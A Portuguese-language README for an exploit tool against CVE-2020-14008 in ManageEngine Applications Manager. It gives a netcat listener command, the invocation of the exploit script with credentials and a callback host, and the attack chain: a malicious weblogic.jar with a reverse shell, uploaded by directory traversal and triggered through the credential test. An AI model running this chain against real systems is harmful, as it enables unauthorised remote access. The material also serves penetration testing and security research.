CVE-2020-14008 - RCE no ManageEngine Applications Manager

Execução Remota de Código Autenticada via Upload Arbitrário de Arquivos no Zoho ManageEngine Applications Manager (versões <= 14720).

Resumo da Vulnerabilidade

O exploit abusa do recurso de teste de credenciais do monitor Weblogic. Um administrador autenticado faz upload de um arquivo weblogic.jar malicioso para o caminho esperado da biblioteca Weblogic. Quando o teste de credenciais é acionado, o ManageEngine carrega weblogic.jndi.Environment do JAR enviado via JarLoader.loadClass() e newInstance(), executando código Java arbitrário.

Requisitos

Sistema

• Python 3.x
• Java JDK (javac e jar no PATH)
• nc (netcat) para capturar reverse shell

Dependências Python

pip3 install requests urllib3 lxml

Uso

1. Iniciar Listener

nc -lvnp 1337

2. Executar Exploit

python3 cve-2020-14008.py <URL> <USERNAME> <PASSWORD> <LHOST> <LPORT>

Exemplos

# Básico
python3 cve-2020-14008.py https://192.168.100.2:8443 admin admin 192.168.100.3 1337

Fluxo do Exploit

1. Login - Autenticar com credenciais de administrador, obter cookie de sessão
2. Enumeração - Recuperar o diretório de instalação base do ManageEngine
3. Construir JAR - Compilar uma classe Java maliciosa (weblogic.jndi.Environment) contendo um reverse shell em weblogic.jar
4. Upload - Enviar o JAR para classes/weblogic/version8/ via directory traversal (fallback: criar uma tarefa agendada para movê-lo)
5. Disparo - Invocar o teste de credenciais Weblogic em /testCredential.do, que carrega e instancia a classe maliciosa
6. Shell - Reverse shell conecta de volta ao listener

Credenciais Padrão

Solução de Problemas

Referências

• NVD - CVE-2020-14008
• Exploit-DB #48793
• Aviso do ManageEngine

Aviso Legal

Esta ferramenta é fornecida apenas para testes de penetração autorizados e pesquisa em segurança. O uso não autorizado contra sistemas que você não possui ou sem permissão para testar é ilegal.